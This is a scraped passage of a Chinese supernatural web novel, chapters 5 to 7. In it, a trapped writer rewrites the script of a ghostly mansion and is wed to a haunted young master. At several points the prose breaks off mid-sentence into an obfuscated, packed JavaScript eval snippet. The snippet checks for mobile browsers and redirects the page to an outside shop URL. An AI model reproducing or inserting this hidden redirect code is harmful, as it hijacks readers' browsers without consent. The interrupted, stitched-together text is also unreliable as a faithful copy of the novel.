黎秋又朝二太太离开的地方追过去,躲在屋后的阴影里看着,前院后院,乱糟糟的“人”来回跑,那股海产品味更重了。 “到底哪来的鱼!” “后厨后厨,去后院看看。” “后院没有鱼!我刚从那过来。” 丫鬟小厮们无头苍蝇似的乱窜,“二太太发飙了,再不找到那些鱼,我们都要完蛋。” “看样子,二太太去接不了少爷了。”黎秋又身后突然响起唐约粗哑的声音,吓她一跳。 贺尧被唐约的气场吓到,跑到了黎秋又的另一侧,眼前阵营有点滑稽,唐约和她身边的廖欢像趾高气昂的海鸥,黎秋又和贺尧在她俩面前,就像俩鹌鹑。 黎秋又跺了跺自己快要冻僵的脚,问唐约:“二太太这是怎么了?” 唐约仍旧穿着戏服,双手抱胸,“我怎么知道,我也只比你多来两天而已,前两天二太太不这样,对乔小姐叮嘱了两句,就带着府里上上下下的人都去门口候着了。” 可现在,黎秋又改了剧本,不这么演了啊! 黎秋又没有跟二人说改剧本的事情,唐约又睇了贺尧一眼,“哪来的傻子?” 贺尧站在一边满脸委屈,虽然和黎秋又只见过一次,但现在在这里,黎秋又算是他最亲近的人了,高高大大得往那一杵,黎秋又还是稍稍往他身边靠了点。 “是我弟弟,脑瘫患者。”这是管家跟黎秋又说的。 “我不是脑瘫。”贺尧急忙否认。 唐约冷笑一声:“我看也是,脑瘫患者智商是正常的,人还能考清华,你纯粹是傻。” 几人站在阴影里观战鬼影大乱炖,一时也搞不清楚剧情要怎么发展,那股海产腥味已经弥漫到院子的角角落落。 银烛去而复返,朝二太太院儿里跑,手里灯笼晃得颠儿颠儿的,跑了小半路,从眼睛余光望到黎秋又在一屋檐下的阴影处,忙又转头朝她跑过来。 黎秋又赶紧朝身边看看,才发现唐约两人不知什么时候消失了,但贺尧还保持刚才的动作,贼头贼脑地盯着院子里的那些忙碌的“人”。 黎秋又把人推了推,让他躲到后面去,贺尧偏不愿,说什么都不走。 这样一来银烛就匆匆跑到跟前了,她瞧着黎秋又动作古怪,问了一句:“乔小姐一个人在这里咕哝什么呢?” 黎秋又下意识把贺尧挡在身后,后一秒才意识到,这么大的个头,不是她这小身板能挡住的啊。 但银烛就跟没看见贺尧似的,急急忙忙朝黎秋又欠了欠身子,“乔小姐,二太太现在抽不开身,不知道哪里来的鱼腥味,府里上下忙得不可开交,恐怕要您代表老爷去迎一下少爷了。” “我一个人?” “是的,乔小姐,辛苦了。”银烛说完,简单给黎秋又指了指路就跑走了,一丝视线也没有分给黎秋又身后的贺尧。 黎秋又摸了摸自己冰凉的脖子。 “跟了我二十三年,辛苦了。”她悲怆地告别。 “去哪里找少爷?”贺尧跑到黎秋又视线里,认真盯着她的眼问。 黎秋又懒得理他,把他往一边推。回顾自己长这么大,还真是命大。 出生时母亲难产去世,她也差点没挺过来。 她后来由外婆抚养,七岁那年撞了鬼打墙,一个人在坟地里转了一天一夜,身边一个穿着中山装的“大人”牵着她的手,带着她找家,一个一个坟头地问。 外婆找到她的时候,她的左手腕已经被捏得乌青,黎秋又一边哭着说那个不是她的妈妈,一边抱着一只香炉死活不撒手。 外婆说她八字轻,容易招鬼,从那以后再也没有让她离开过半步。 往门口走,空气变得潮湿,前院也有一方水潭,位于院子的西北角,前院的活水在风水里是财源滚滚的寓意,但这一方水潭和后院那一方相似,在一棵巨大的榕树下,被茂冠遮盖。 黎秋又怕水,离那里远些,没想到贺尧还紧紧跟在她身后,短暂“沙沙”声后,黎秋又还没来得及反应过来是什么声音,就听见一阵机械女声响:“小猪才电话手表为您报时,现在是北京时间二十三点三十分。” 突兀的声音吓得黎秋又差点蹦水里去。 她扭头去,深深叹了口气,“把你的小猪才关掉。” “不关。”贺尧摇头。 “你听我的,关掉,”黎秋又听见不远处的门外已经有些声音,料想少爷回家的时间应该不会那么准准的十一点四十五分到,提前推迟都有可能,所以压低了声音,“一会很危险,我要接的那个少爷,他吃人!你要是引起他的注意了,我们俩就完蛋了!” “他吃人,又不吃手表。”贺尧还是摇头。 一会儿如果少爷要撕人了,她绝对会把贺尧垫在自己前边儿,绝对!二十三年的尊老爱幼关爱智障的素质教育只会在这一瞬间瓦解。 没过几秒,贺尧的手表又开始重复刚才的报时。黎秋又忍无可忍,转身就去他手腕上把表抠下来,麻溜地丢到了小潭里,小潭水发出“咚”得空洞一声。 “我的手表防水。”贺尧嘟嘴。 黎秋又快要气绝身亡,“那你自己去捡。” 贺尧是准备去捡的,但他跑到水池边,朝碧绿幽深的水面望了望,这么冷的天他也不会真傻到跳下去找表,他挠着脑袋,看看走远的黎秋又,又看看倒映着绿色灯笼光的水潭,还是选择跑着去黏上黎秋又。 门口的灯光更昏暗,两只孤零零的绿灯笼挂在正门,随着冬季带有烟火气的风,被吹得上下翻飞。 院门外的黑暗泼墨似的涌进宅子里来,两头都是危险的气息,一时也没办法比出哪边更危险了。 手腕上的怀表依旧在转动,它似乎在跟随着黎秋又的脉搏一起震动,越跳越快,仿佛灵魂都在震颤。 一步一步走到门口时,猛然间,黎秋又感受到了刚才那种铺天盖地的悲伤,喉头哽到酸疼,眼眶鼻尖抑制不住得发酸,生理性的眼泪憋都憋不住。 大喜大悲要不得!完蛋! 黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池二浩也是坐够了火车,他也弄不清楚少爷为什么被激怒,每每站在家门口总要拧掉一个人。两人这几天曾在火车上试探问出些什么,却连蛛丝马迹都没问出来。 问就是,“从小家中太太们就宠我,疼我,哪里来的仇啊恨的。” “虽说我不是二太太亲生的,但老爹膝下就我一个儿子,不疼我疼谁啊?” “当然不会对陌生女孩子产生敌意,你们两个怎么总问些莫名其妙的问题。” 池二浩担忧着,轻喊了声:“少爷。” 他们身前的少爷,背影同以往无数次一样,散发着沉沉阴气,森然可怖的气息叫池二浩和宣余连呼吸都放轻了。 门口两只石狮子张着大口,看上去能吞食万物,露出它锋利的牙,在向人展示它的绝对力量。 贺尧在黎秋又身后,攥了攥她的衣角,搞不清状况地说:“这个少爷看上去好熟悉的感觉哦。” 黎秋又牙缝里挤出:“那你上去抱着他哭一场吧。” 少爷的身形修长挺拔,步伐沉稳,威压逼近。黎秋又腿肚子打颤。 杀气是什么气,黎秋又这时候悟了。写小说的时候,她可以形容,杀气是冬日里的寒风化作无形的利刃,独独朝她一个人劈来,或是如同黑暗坚固的巨大锅盖朝她压过来,密不透风地将她困在原地,无法呼吸,无从躲避。 她这段话恐怕只能在脑子里构思了。 少爷一步跨上三阶台阶,再一步,到达黎秋又面前。 “妾身?”低沉的气压化作实质,压在了他嗓子里,黎秋又听见了对方冷然的笑意,随即,少爷的手缓缓抬起,苍白冰凉的手指,轻缓温和地,扣在了她的下颌。 黎秋又反射性向后躲,踩上了旁边的贺尧,贺尧嗷嗷叫了两声,黎秋又全然没管,伸手拍了拍自己的小心肝,下意识为自己开脱的话脱口而出:“少爷自重,妾身是老爷将入门的姨太太,之后便是您的十六姨娘。” 乔小姐!危! 5. 第 5 章 记忆中的“咔咔”两声,宣余和池二浩没听到。 宣余从池二浩身后探出脑袋,池二浩紧闭的双眼缓缓睁开。 他们自从十多天前,到了这个陌生诡异的地方以来,跟在少爷身边,日复一日地做着重复的事情,也看着少爷每日的记忆都会重新回到火车上,从没见过少爷现在这幅模样。 单单一个背影,两人第一次在少爷身上看到了落寞。 他们家少爷,现在只是在这位新的乔小姐面前孤零零站着,微微低下的脑袋,落寞得看上去像被主人遗弃的小狗,孤独又寒冷。 黎秋又已经退离少爷三步之远,对面的人神色黯淡下来,杀意在瞬间,和他眉眼间的从容一起被抽走。 他视线在黎秋又脸上停了许久,久到黎秋又再次打了冷颤。 和刚才不一样的是,现在少爷面上有了带温度的情绪,他视线一寸寸下移,照X光似的把黎秋又从头到脚扫描了一遍,又怔怔地盯了会儿黎秋又的心口,又或是她放在心口处的手,好半晌,才露出一点笑意。 很勉强的笑,“十六……姨娘?” 他调整了一下自己的呼吸,又轻声说:“我是贺砚清,贺将军独子,问乔姨娘安好。” 听到他再次开口,语气冷静平淡,黎秋又低低松了口气,暗叹:这第一关算过了?接下来等着她的就是去老爷子的房里过夜……但愿能有新的台词出现,但愿自己的笔还能改写。 这么想着,忽地所有人都感受到天气变了。 似乎更加阴沉,更加黑暗,也更加潮湿,有暴雨欲来的气息。 鬼打墙的幻境里竟然还会有雨? 果不其然,不过几秒钟的时间,盆泼大雨毫无前摇地就下起来了,噼里啪啦砸在屋檐上,石狮子上,绿色的灯笼上,还在门外愣着的两个少爷跟班身上。 本来就冷,雨气一来,黎秋又冻得不行,因为害怕牙发出磕巴的声音而死死咬着,牙都快嘎嘣碎掉了,但她还得等着贺砚清的下一步动作。 贺砚清微微侧了侧身,“小池小宣,你们俩先把我的行李放去我屋里。” “哎!好嘞!”宣余跑得倒快,池二浩冷汗直流,他俩又不是真的少爷跟班,去哪知道少爷屋在哪啊。 但好歹可以安稳一晚上,不用回到火车上了,两人麻溜地离开了这里。 贺砚清没有看贺尧,黎秋又给贺砚清让出一条路。 贺尧尾巴似的粘在黎秋又的背后,一不小心撞到身后的门板,发出一阵响动声,黎秋又的注意力都在贺砚清身上,冷不丁听到还被吓了一跳。 但这样,贺砚清还是没注意贺尧,朝门内走时在黎秋又面前停了停。 黎秋又心脏提到了嗓子眼,手伸到后面去拽住了贺尧的书包带子,如果有什么突发情况…… “乔……小姐的鞋过于单薄,先去换一双吧。如果没有,我一会儿差人给你送去。”贺砚清改了口,他的声音温和如清泉流水,但或许也是冷得,有些微颤抖,黎秋又冷不丁想起一个词——温柔陷阱。 她垂眸,礼貌地微微点头。 “乔小姐腕上的表看上去很别致。” 贺砚清只看了一眼就移开了视线,朝院子里走,黎秋又小心跟在身后,脑瓜子飞速运转,在担心他如果问表的来处,黎秋又应该怎么回答。 乔小姐不一定有个相依为命的外婆,但确定有个病重的妈,她是因为没钱治病而被迫嫁来这里当小的,以此换钱去给妈妈治病。 她甚至连一双暖和点的鞋也没有,手上却佩戴着这块在当时看来并不廉价的表。 怎么想怎么怪异。 在门口被拧了脑袋和在门内被拧脑袋有什么区别? 黎秋又暗暗祈祷外婆一定要保佑自己,又希望外婆一定不要来带走自己。 外婆显灵了,贺砚清并没有接着问下去。 贺尧还跟在她的身后,好在这种时候他没有在旁边胡乱讲话,只是静静跟着。 黎秋又也奇怪,为什么这么大个子的人杵在这里,并不会引人注目,所有人也都不介意他一直跟着黎秋又,难道他也是个什么存在感极低的bug? 这个传说中会随意拧人脑袋的少爷,现在走在她身侧。 贺砚清差下人拿了一把伞过来撑着,就不远不近地走在她旁边,与她共用一把伞。 如果不是那阵阵阴气实在冻人,倒还算是一副岁月静好的画面。 贺砚清告诉她,他需要先去向老爷报个平安,顺便看看老爷子的身体状况如何。 就像平常的朋友在交待一件平常的事。 这不像正常鬼,不,正常少爷对姨太太讲的话。 黎秋又心不在焉地“嗯”了一声,视线在自己身边上下扫射,期待着新的剧情出现,能够让她脱离现在这种可怕的情景。 雨又急又烈,噼里啪啦砸在伞面上,像是迫不及待地落下来,否则就会从此错过了来到人间的机会。 黎秋又对路并不熟悉,只能借助幽微的绿光辨别道路,跟在贺砚清身侧垂着脑袋,连应该去哪里都不知道。 突如其来的暴雨把刚才浓重的鱼腥味都压下去了,但还是没见到银烛和二太太他们,忙碌的下人并没有冲撞到少爷的面前来。 黎秋又和贺砚清两人到了前院,先前还在唱戏的曲子,听上去仿佛是因为这场雨,连音调都低沉了,格外得怪异。 舞台上的灯光是五颜六色的暗沉,场面怪异又阴森。 黎秋又大概是不懂戏曲,她觉得舞台上的人在张牙舞爪地把云袖乱挥。走近后,黎秋又才看清了台上站的竟然是唐约。 她那个像是抽了几年粗烟的嗓子果真不适合唱戏,但她还是在台上咿咿呀呀乱吼一阵,黎秋又觉得不堪入耳,好在噼里啪啦像砸进耳膜的雨声朦胧了这难听的戏曲,可台下观众却听得津津有味。 他们甚至像是感觉不到这场几乎能把人滴穿的暴雨,自在地坐在座位里,有人跷着二郎腿,有人磕着瓜子拍手叫好,场面如常热闹。 台上的人一眼就看见了模糊鬼脸之后,和那个可怕少爷站在一起,还被少爷手中的伞遮住的黎秋又。 黎秋又注意到了唐约神色怔愣了一瞬,她就朝唐约挑眉,得意地一笑。 贺砚清没有错过黎秋又的表情,以为她是感兴趣,宽大的伞面朝黎秋又微微低了低,声音轻缓:“这戏唱得不好,乔小姐如果喜欢看,过段时间我的事情安排好了,带你去戏园子看。” 他说着话,黎秋又觉得雨要小些了。 真是死亡对话,没人跟她说过这个少爷是自来熟吧。黎秋又真希望他再也别说话了,这话她也不知道自己该怎么回应。 拒绝吧,怕惹怒了这个家伙,答应吧,又不符合姨太太身份。 离开主院后,雨越来越小了,这诡异之地的诡异雨来得快去得也快,本应去拜见老爷的贺砚清一直在带着她走,将她带到了一处院子后,雨彻底停了下来。 这间院子里的绿色灯笼比较少,以至于看不清院里的景色,只能看见石板路的尽头,有三间并排的房屋,只有一间亮着暖色的灯,贺砚清直到把她带到房间门口,才停下了脚步。 黎秋又捂了捂自己的脖子。 “乔小姐换身衣服,我先去看老爷子。” 直到站在门口,黎秋又才看清了贺砚清的相貌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698918|189106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他和其他所有鬼都不一样,不是模糊没有五官的面部,也不是僵硬着一种表情的神情,更不是凶神恶煞青面獠牙。 相反,贺砚清很好看。 山青雨雾,温玉比月。 他面上的淡淡阴郁愁云,衬他眉眼间的悲悯与怜爱。 黎秋又只敢抬眸看一眼。贺砚清这句话像没说完,她等了好一会儿没等到下文,就又礼貌地点点头,准备退进屋子里面去。 “阿云。” 黎秋又转身去推门的手一僵。 身后的人又换了称呼,“乔挽云,别怕,不会再有人伤害你了。” 黎秋又冷汗涔涔。这是什么剧本?台词呢?! 反正是背对着的,她索性麻溜地钻进了房间,“砰”地关上了房门。 关了门她才开始后怕,对方是鬼啊!真要拧她脑袋,门能挡住吗! 她在门口把门按了一会儿,外面的人一直没有离开。也或许离开了,毕竟鬼应该也可以瞬间就变到老爷子房里去。 但也没准会瞬间变到她身后,黎秋又光想着就感觉后背发寒。 她还是选择一点一点转过身,视线扫描了眼房间里,终于确认了无异常。 有惊无险,房内很温暖,屋子中央有一只火盆正燃着火,她这才想起外面还有个傻子没着落呢,这会也没出声,该不会是被鬼吃了! 管他呢,在这个地方她首要任务是保护好自己。 她躲到角落里,朝窗外看出去。 屋外是一片漆黑,没有见到贺尧身影。她突然又联想到,曾经看过的恐怖小段子,人从猫眼望出去,看见的是漆黑的楼道,再仔细一看,才发现那黑黑的东西不是什么黑暗空荡的楼道,而是一个人的瞳孔,那人正一眨不眨地看着她呢! 黎秋又被自己的联想吓着,缩回了房里,轻叹:“人的道德感还是不能太强,贺尧你就自求多福吧。” 这里是一间厢房,装饰简单,普通的木制家具和简约的台灯地灯,虽然这里和现世相比差别很大,好歹也是敲锣打鼓的一天终于能够踏实歇息的地方。 刚才没有淋雨,其实本不用换衣服的,最主要的是想给下半身的两条冰棍加点温。 转眼就看见床上正中央,大喇喇,整整齐齐地摆着一套衣服。 一套红艳艳的喜服! 乔小姐啊乔小姐,黎秋又欲哭无泪,能否先跟她讲讲全部的剧情?谁家好姨太太进门需要穿嫁衣!还需要拜堂! 慌神间,黎秋又金光映面,终于!台词终于来了! 她连忙取下自己后脑勺的发簪,晃了两下,幸好幸好,笔又亮起了绿色荧光。 【金线绣的并蒂莲,在鲜红似火的嫁衣上枝枝蔓蔓,乔挽云对镜略施胭脂,有些意兴阑珊,终在丫鬟银烛的陪同下,去往喜堂,与老爷拜堂。】 黎秋又非常果断地去擦掉乔挽云三个字,但不出意外的话又出意外了——这三个字,擦不掉! 看来这是重要人物,不能更改。那最后的“拜堂”两个字呢?黎秋又伸出手指狠狠戳了两下。 金灿灿的字就像是从某处投过去的光斑,任她怎么擦怎么戳都纹丝不动。 她干脆手掌伸过去把整段台词都抹一遍,最终发现,有个别字被抹掉了,顺着读过去,那个被擦掉的字在最后…… “与什么爷拜堂。”黎秋又念出了声,也差点哭出了声,总不能与什么大爷,二爷,爷爷的,拜堂吧…… 那有什么区别! 台词出现的时间有些长了,金色的字开始变得黯淡,屋外响起一阵敲门声,“少爷差我来问问,乔小姐换好衣装了吗?” 哦!对了! 6. 第 6 章 少爷! 黎秋又在那空处,写下了一个“少”字。 和少爷拜堂,黎秋又露出两齿笑容。 黎秋又很满意这个改动,别无他选的情况下,如果跟少爷拜堂,是不是就会完全改变冲喜新娘的剧情?名正言顺的少奶奶和姨太太可是两个身份! 黎秋又还没来得及憧憬美好未来,屋外的丫鬟又道一句打破幻梦的话:“老爷病重,会由少爷代替老爷与乔小姐拜堂,少爷叫我来先跟乔小姐通个气,以免一会儿受惊。” 可她现在已经受惊了。 “知道了。”黎秋又回复了门口的人,随后听见了离开的脚步声。 时间快到凌晨一点,身体渐渐回暖,饥饿和疲倦朝黎秋又一直紧绷的神经侵略而来。 她不知道外面是怎么样的兵荒马乱,但想也知道绝不会是个安稳的夜。 随时在暴走边缘的二太太不知道有没有撕人,弥漫整座院子的鱼腥味有没有被处理,刚回国的少爷有没有安顿好。 这个时候,脑袋昏昏沉沉的黎秋又没有意识到自己担心的事情里面,没有自己。 她逆来顺受地换好衣装,在梳妆镜前简单梳顺头发。 下一秒,房门又被人从外面“砰”地踹开,吓得黎秋又猛地醒过神来,见来人是唐约和廖欢,才大口喘气。 对面镜子里的人胸口起伏,因先前就上了脂粉,从来没有化过妆的黎秋又,头一次觉得镜子里的自己很陌生。 唐约她们换了身轻便的衣装,她视线定位了黎秋又就两步跨到她面前来,一脚踏在她身侧的板凳上,“恭喜你。” “你看着不太像恭喜我的样子。”黎秋又被凑近的颜霸逼得朝后靠在了梳妆台上,干笑一声。 “你居然过了少爷这关,接下来什么剧情?” “拜堂……”黎秋又双手撑在身后,直愣愣地盯着唐约,讷讷道。 廖欢在唐约身后惊喜地笑出了声:“这么说,我们自由啦!咱唱完戏就可以走了呗!” “走?你们可以离开这个鬼地方?”黎秋又抓住了希望。 唐约轻嗤一声,扭头瞪了廖欢一眼,转过来对黎秋又说:“离开?你现在可以去院子外面看看。” “除了黑沉沉望不到头的浓雾,什么也没有。” 柴火噼啪两声,几人的呼吸都很沉重。昏暗的落地灯发出令人绝望的光。 唐约是个理智的人,她陷入沉思,声音低哑,“没听说过姨太太还要拜堂的,这个是原本就有的剧情,还是你改的?” “原本就有,但我把‘和老爷拜堂’,改成了‘和少爷拜堂’。”贺砚清那张俊美无俦的脸又出现在眼前,黎秋又为自己这个行为羞红了脸。 她不是什么花痴的人,只是黎秋又很少社交,在学校时都是个高不成低不就的边缘人,平凡到栽进人群里,跟外面那群没有五官的鬼怪也差不多了,没什么好朋友,给老师留下的印象也不深。 再加上外婆的工作性质特殊,她也耳濡目染地稍微了解了些,从大学时就开始写些悬疑小说赚钱,毕业后就直接做起了全职写作,更少见人了。 这一天之内被两个颜霸争相冲洗眼睛,还是有点飘飘然的。 “但是,就算改成了和少爷拜堂,也改变不了我是老爷姨太太的身份。”黎秋又吸了吸鼻子。 “这么说,主要剧情还是要完成,避不开。”唐约思考时皱着眉,看上去很担忧的样子。 廖欢坐到黎秋又身边来,“唐约姐,你刚才不是说有话要跟乔小姐说吗?” 唐约方才想起,才道:“我觉得,这宅子里,不止我们这几个人。” ? 黎秋又很乖巧,他人讲话的时候,她会专注地看着对方的眼睛,直到对方讲完话。 “你也闻到了那股鱼腥味,我们来的这两天里,都没有发生这种意外。” “这里面的鬼怪都是按照剧本工作,所以我认为,发生的意外情况,大概率是人为。” 黎秋又想了想,点头:“鬼打墙是这样的,鬼怪们都应该在自己既定的轨道上运行,除非幻境主人强大到已经有了意识。” 外婆那里有很多老书,黎秋又对风水学不感兴趣,只有在准备写同类型小说的时候才会去翻翻。 鬼打墙这件事情,也是因为她遭遇过,所以才算比较熟悉,七岁那时候发生的事情经过现在仍能清晰记得。 “鬼打墙不是走进一条路,不停地循环吗?”廖欢问。 “并不准确。”黎秋又皱着眉,仔细回忆小时候看过的书上的内容,“鬼打墙是将生人拖进了亡灵或生魂的强大怨念里,是由记忆碎片和内心恐惧交织成的幻境。” “这么说的话,我猜这里应该是这位乔小姐的怨念幻境吧。”廖欢捏着下巴思考,对唐约说,像是在期待唐约给她一个肯定。 黎秋又想起自己身上发生的异常,觉得这一切,没准就是围绕着这位乔小姐发生的事。 唐约皱着眉好半晌没有讲话,她现在穿的风衣裙颇有些特工范,挺符合她气质,她没看廖欢,倒是望着黎秋又,“那破境的法子,应该就在你身上,乔小姐。” 廖欢见唐约没有否定她,瞬间就把唇角勾上了眉梢。 黎秋又看看两人,圆圆的双眼一弯,心里多了些芝麻点子,“那么,乔挽云乔小姐,邀请二位参加我的婚礼,二位可务必要赏光!” 唐约冷笑一声:“祝你好运。” . “鱼,鱼在哪?”后厨乱成了一锅粥。 锅碗瓢盆全部掀翻,蔬菜笼,家禽笼,被掀得四仰八叉,米缸翻倒在地,水缸全都倒空了,连灶炉里的火石都掏出来搁在一边释放着浓烟,所有人都如临大敌地找着那股鱼腥味的源头。 “根本没有鱼啊!” 但后厨院子里的空地上,正正摆了五个空箱子,气味从这里面弥漫出来,野猫三三两两漫步在屋顶,对着院子里的箱子虎视眈眈。 一阵汹涌的寒意,和乱七八糟的脚步声正朝后厨这边涌来,速度极快。 一个模糊面貌的“人”正焦急地四处乱窜,没头苍蝇似的在犄角旮旯里找鱼,趴在地下伸一根手指进老鼠洞里掏,被老鼠咬住手指,他站起身来,甩甩手想把老鼠甩掉。 下一秒,转身就迎面对上了冲到后厨来的二太太,二太太带着碧玉扳指的手,提起这个“人”,就将他的手臂轻轻松松扯下来扔在了地下。 她精致高跟鞋踩在那只断臂的断口处,狠狠碾压了几下,随手又把手里的人,连扯带撕,肉块被她丢到了一边,零零落落。 丢下去的肉块没过几秒就被淹没在黑夜里,消失得无影无踪。 野猫发出嘶厉的叫声,“喵呜——”。 “人”群中,有人轻轻咽了咽口水,和旁边的“人”一起,全都伏地低头,不敢喘气。 二太太现在已经无法维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这中不中洋不洋的喜堂,两侧坐了许多无脸“人”,黎秋又有三百度轻微近视,来了这个地方后眼镜也不见了,昏暗灯光下,这点模糊在她眼里也是差不多的。 先前那些怪异的绿灯笼现在也恢复了正常。 看来改剧情这个金手指,也是时效性的功能,难怪无法改动重大剧情。 黎秋又被银烛牵着进来的,没有盖盖头,两侧的人即便看不清脸,也能从低语中,听出唏嘘和叹惋声。倒不是黎秋又想象中的嘲弄和嬉笑。 只有银烛,还是一副喜悦的笑面。 跨入喜堂门槛后,贺砚清就出现在了黎秋又的左侧,他也穿着一袭红袍,手中捧着一只红玉如意,黎秋又手上的绣球花结,另一端就系在这如意上。 靠近后,话多的贺砚清就开口小声问黎秋又:“还是冷吗?刚听见你咳嗽,是感染风寒了吗?” 他的话越多,黎秋又越费劲,劳心去斟酌字里行间是否有漏洞,就怕一个回答不对就会露馅。 刚才咳嗽仅仅是被呛着而已,但如果直说,那是不是就算忤逆了这位阴晴不定的少爷? 于是黎秋又另一只手轻掩了掩唇,又低低咳了两声,轻应:“嗯。” 7. 第 7 章 “我很想牵你的手,但又怕我的手会冻着你。” !!! 黎秋又猛地又爆发一阵咳嗽,内心如石破天惊惊涛骇浪。 她偏头,抬眼,去看贺砚清的表情。这么近的距离,黎秋又可以看见贺砚清微垂的睫毛在轻微颤动,眉梢淡淡蹙着,视线停在手里的玉如意上,苍白的脸像是一只无瑕玉器,从眼底碎出裂纹。 黎秋又在内心自主创建小剧本,难道说,乔小姐在嫁进来之前就和这位少爷有点什么?一出时代虐恋的戏在她脑子里迅速上演并完结。 这剧情放在自己身上怎么都感觉有点炸裂。不管之前是什么剧情,现在她都是老爷的冲喜新娘,贺砚清的十六姨娘! 真希望赶紧结束这死亡对话。黎秋又干脆当做什么也没听见。 不远处,唐约和廖欢隐在黑暗中,黎秋又看见了那边的人影,虽然只能看见轮廓,但也能分辨出是她俩,只是怪在,二人刚刚明明换下了便装,此时又穿回了戏服站在那处。 倒是那二傻子到现在也没见到,不知道是不是凶多吉少。 高堂上坐着两个男人,看年龄,还挺像比少爷大两辈似的,有花白的头发和胡子,还有古井无波的眼神。 大概脸上的褶子可以代表他们的阅历,层层叠叠,他们像古老的树,好像在那高位坐了几百年。 走近二人,黎秋又闻到一股难以描述的臭气,比院子里先前那鱼腥味可怕多了。 还没等她仔细去辨别臭味的来源,一声高亢尖锐的“一拜——”强行聚拢了她的注意力,脑瓜子清醒到不能再清醒。 身侧的贺砚清将手中红玉如意背到身后,朝座位里的二位“高堂”深深鞠躬。 黎秋又看着前面那两老人越看越不舒服,两道直直望着她的视线,像被盯住了灵魂。 她只微微弯了下腰就作罢,弯腰时,那股臭气又一溜烟钻进她鼻腔,吸气间,黎秋又差点曰出来。 这个味道很熟悉,像黑河冬天时在地窖里腌的白菜,莫名其妙到了丽江,隔了几个月挖开地窖一瞬间窜上来的腐臭,还带了熏眼睛的成分。 当年外婆从孤坟山回来的时候身上也有这个味道,比这淡很多,但因为臭得太特殊,黎秋又印象很深。 外婆当时告诉她:“孤坟山里只有一座坟,四周树木聚拢而上,在坟的上空留有一道豁口,每晚的月光能刚好从那处照进来,加上这山上的气候异常,早晚会产生瘴气,因为这样的风水异化,导致这座坟成了这座山上唯一的坟。” “无法葬人,也无法再住人。” 说白了,就是尸体异变了。 黎秋又也没有多想,这个幻境本来就已经是鬼的地盘了,尸体异变那都是再正常不过的事。 在她差点真曰出来前,尖锐的一声“夫妻对拜——”后,又是一大声嗷叫差点吓破了她的胆。 “嫂子!” 贺尧跑进来,“嫂子你在干什么?你在跟别人结婚吗?” 黎秋又猛地扭头去看贺砚清的表情,他刚朝自己拜完起身,眼神还是一如既往的落寞,黎秋又连忙用自己左右两只食指去堵住贺砚清的耳朵。 贺尧离她有几步的距离,正朝她的方向扑过来,黎秋又使劲给他打眼色,奈何贺尧脑袋不正常,边跑边嚷嚷。 贺砚清呆愣住了。 他的视线一直停在黎秋又脸上,咫尺距离,但无法感受到她的温度。 耳朵里嗡嗡的,黎秋又的手指没留指甲,不会刮伤他,他早已空洞的胸腔里仿佛感受到了久违的跳动。 一身红嫁衣的黎秋又急得,哑着气声吼贺尧:“你快一边儿玩去,没看我办正事呢!” 怪事又发生了,贺尧离她并不远,黎秋又只看见他一个劲地往她这边扑,但就是不见过来。 “礼成——” 闹着玩似的,这个司仪丝毫没有管黎秋又在做什么,和所有鬼怪一样,按部就班地做着自己生前做的事。 贺砚清没有动手去掀开黎秋又还放在他耳边的手,只是顺着黎秋又的视线看过去,微微皱皱眉,随即又温和地笑起来:“你们俩坐地上干什么?” 黎秋又这才看见,地上坐了俩人。 他们分别抱着贺尧的一条腿。 这不就是贺砚清回来时,带在身边的俩跟班嘛。 这俩人也在对黎秋又使眼色,两人视线都看看黎秋又,又看看贺砚清,黎秋又都快被两人乱七八糟的眼神看晕了。 她突然意识到,贺砚清他,看不见贺尧…… “送入洞房——” 黎秋又被这声破了音的一嗓子吓回了神,心里沉了沉,糟心的事情一件接一件地来。 要是贺老将军已经病得不省人事倒还好说,万一还有精神,非要跟她睡一觉,黎秋又这一晚上可就难活了。 她的手从贺砚清的耳边收回来,轻道一句:“抱歉。” 地上坐的那俩才起身,挤着贺尧走到一边去,四周模糊着面容的“宾客”,脑袋僵硬着,像卡顿的动画,一帧一帧转过脸来,“看着”他们。不知什么时候,人群后的唐约两人已经不见了。 先前在轿子边跟着的喜娘此时出现,她过来引着黎秋又去洞房,黎秋又才发现,她先前发出的奇异脚步声,原来是脚上被缠上了树枝藤蔓,另一头还绑着一颗骷髅脑袋。 “等等。” 黎秋又背后“高堂”座上的枯树发了话,“既是入了贺家的门,便要先讲个明白。” 说话的那位坐在那里一动不动,黎秋又快走到门口了,不太能看清他的嘴唇是否张开了。 “乔氏的八字,是拿来给老爷冲煞挡灾的。老爷的病若能因此好转,便是你天大的功德,家族不会亏待你。若不能,那也是你的命数,是你福薄,担不起这份重任。” “这府里,上有老爷太太,下有少爷,都是你的主子……” 他的话没说完。 黎秋又听这些话其实没什么感觉,毕竟这些威胁不到她的小命。但她身边的贺砚清面露悲伤,难过得像是那些话说的都是在给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 